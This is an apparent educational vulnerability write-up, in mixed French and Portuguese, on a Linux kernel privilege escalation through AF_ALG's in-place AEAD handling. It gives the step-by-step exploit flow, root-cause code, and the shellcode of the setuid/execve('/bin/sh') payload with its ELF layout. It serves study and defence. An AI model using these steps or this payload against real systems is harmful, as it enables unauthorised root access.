Analyse pédagogique de la CVE-2026-31431, une élévation de privilèges locale du noyau Linux via l'opération en place AEAD d'AF_ALG, incluant la cause racine technique, la détection et l'atténuation.
Analyse technique pédagogique de l’une des vulnérabilités les plus significatives du noyau Linux depuis Dirty Pipe (2022).
Ce dépôt est destiné à la recherche, à l’étude et à la défense. Aucun exploit fonctionnel n’est distribué ici.
CVE-2026-31431, surnommée Copy Fail, est une vulnérabilité d’élévation locale de privilèges (LPE — Local Privilege Escalation) dans le noyau Linux. Elle permet à tout utilisateur sans privilèges d’obtenir un accès root en quelques secondes.
| Attribut | Valeur |
|---|---|
| CVE | CVE-2026-31431 |
| Score CVSS | 7.8 HIGH |
| Type | Élévation locale de privilèges (LPE) |
| Sous-système | crypto/algif_aead.c — AF_ALG |
| Introduite dans | Noyau 4.14 (commit 72548b093ee3, juillet 2017) |
| Corrigée dans | 6.18.22 / 6.19.12 / 7.0 (commit a664bf3d603d) |
| Découverte par | Taeyang Lee — Theori / Xint Code |
| Divulgation publique | 29 avril 2026 |
| PoC public | Oui — script Python d’environ 732 octets |
Imaginez que le système d’exploitation dispose d’une mémoire de travail (appelée page cache) dans laquelle il conserve des copies des fichiers en cours d’utilisation. Lorsque vous exécutez un programme, le système charge ce programme dans cette mémoire et l’exécute à partir de là — et non directement depuis le disque.
Copy Fail permet à un utilisateur ordinaire de modifier cette copie en mémoire d’un programme spécial (un binaire setuid, comme la commande su) sans toucher au fichier d’origine sur le disque. Le fichier sur le disque reste intact, mais lorsque le programme est exécuté, le système lit la version corrompue de la mémoire.
C’est comme remplacer la recette d’un plat dans la mémoire d’un chef pendant qu’il cuisine — le livre de recettes d’origine ne change pas, mais le plat qui en sort est complètement différent.
Le résultat : le programme corrompu exécute le code de l’attaquant avec les permissions root.
Ce qui rend cela particulièrement dangereux :
2015 → AF_ALG ganha suporte a AEAD (algif_aead.c) authencesn introduz escrita em assoclen+cryptlen (mas ainda out-of-place)
2017 → Commit 72548b093ee3: otimização converte operação para in-place req->src = req->dst → páginas do page cache entram na scatterlist de escrita BUG INTRODUZIDO — passa despercebido por ~9 anos
2026 Mar 23 → Taeyang Lee (Theori) reporta ao time de segurança do kernel Linux Descoberta assistida por IA (Xint Code — ~1h de scan)
2026 Abr 1 → Patch mainline commitado (a664bf3d603d) — reverte a otimização de 2017
2026 Abr 22 → CVE-2026-31431 atribuída
2026 Abr 29 → Divulgação pública + PoC Python liberado Arch Linux, Fedora, Amazon Linux já com patches Ubuntu, RHEL, SUSE publicam guidance de mitigação
2026 Mai 1 → Kernels corrigidos chegam a AlmaLinux, CloudLinux, Rocky Linux Adicionado ao CISA KEV (Known Exploited Vulnerabilities) Exploits em Go e Rust aparecem em repositórios públicos
---
## Comment ça fonctionne techniquement
### Vue d'ensemble du flux```
Atacante (usuário sem privilégios)
│
├─ 1. socket(AF_ALG, SOCK_SEQPACKET)
│ Cria socket de criptografia no kernel
│ bind: "authencesn(hmac(sha256),cbc(aes))"
│
├─ 2. setsockopt: define chave AEAD + authsize=4
│
├─ 3. accept() → op_socket
│
├─ 4. sendmsg([AAD + ciphertext], cmsg=[DECRYPT, IV, assoclen])
│ AAD bytes [4:8] = os 4 bytes que queremos ESCREVER no page cache
│
├─ 5. pipe() + splice(arquivo_alvo → pipe → op_socket)
│ CRÍTICO: injeta páginas do page cache na scatterlist do AF_ALG
│ As páginas do arquivo agora estão no destino GRAVÁVEL da operação
│
├─ 6. recv() → dispara o authencesn
│ authencesn::scatterwalk_map_and_copy(seqno_lo, dst, assoclen+cryptlen, 4, WRITE)
│ Escreve 4 bytes em dst[assoclen + cryptlen]
│ = escreve DIRETAMENTE no page cache do arquivo-alvo ✓
│ HMAC falha → retorna EBADMSG → IGNORADO
│
└─ 7. Repete (4 bytes por iteração) até cobrir todo o ELF replacement
Executa o binário alvo → root shell
Le bug vit dans crypto/algif_aead.c. En 2017, l'opération AEAD a été convertie en in-place pour gagner en performance :```c
// Antes (seguro): req->src e req->dst são scatterlists separadas
// Depois (bugado, commit 72548b093ee3):
req->src = req->dst; // mesma scatterlist para entrada e saída
// Para a tag de autenticação, em vez de copiar, o código encadeia por referência: sg_chain(areq_ctx->rsgl[0].sg, n, areq_ctx->tsgl); // ↑ As páginas do page cache (vindas do splice) agora estão na scatterlist de SAÍDA
L'algorithme `authencesn` utilise le buffer de destination comme *scratch space* pour réorganiser les octets du Extended Sequence Number (ESN) d'IPsec :```c
// Em authencesn_decrypt():
scatterwalk_map_and_copy(tmp + 1, dst, assoclen + cryptlen, 4, 1);
// ^^^^^^^^^^^^^^^^^^^^^^^^^
// offset que ultrapassa o output buffer
// e cai nas páginas do page cache encadeadas
L'écriture contourne entièrement le VFS. La page modifiée n'est jamais marquée comme dirty par le mécanisme de writeback du noyau. Le fichier sur disque reste intact. Les outils d'intégrité basés sur des hash (aide, tripwire, inotifywait) ne détectent rien car ils surveillent le disque, pas le page cache.
L'exploit embarque un mini-ELF de 160 octets compressé avec zlib. Après décompression, la partie exécutable est :```nasm ; Offset 0x78 no arquivo ELF (entry point)
xor eax, eax ; limpa registradores xor edi, edi ; uid = 0 mov al, 0x69 ; syscall 105 = setuid syscall ; setuid(0) → effective UID = root
lea rdi, [rel bin_sh] ; rdi → "/bin/sh\0" xor esi, esi ; argv = NULL push 0x3b ; syscall 59 = execve pop rax cdq ; rdx = 0 (envp = NULL) syscall ; execve("/bin/sh", NULL, NULL)
; Fallback xor edi, edi push 0x3c ; syscall 60 = exit pop rax syscall ; exit(0)
bin_sh: db "/bin/sh", 0
**Structure de l'ELF minimal (160 octets au total) :**```
Offset 0x00–0x3F → ELF64 Header (64 bytes)
e_type=ET_EXEC, e_machine=EM_X86_64
e_entry=0x400078, e_phnum=1
Offset 0x40–0x77 → Program Header PT_LOAD (56 bytes)
p_flags=PF_R|PF_X, p_vaddr=0x400000
p_filesz=0x9e
Offset 0x78–0x9D → Shellcode (26 bytes código + "/bin/sh\0")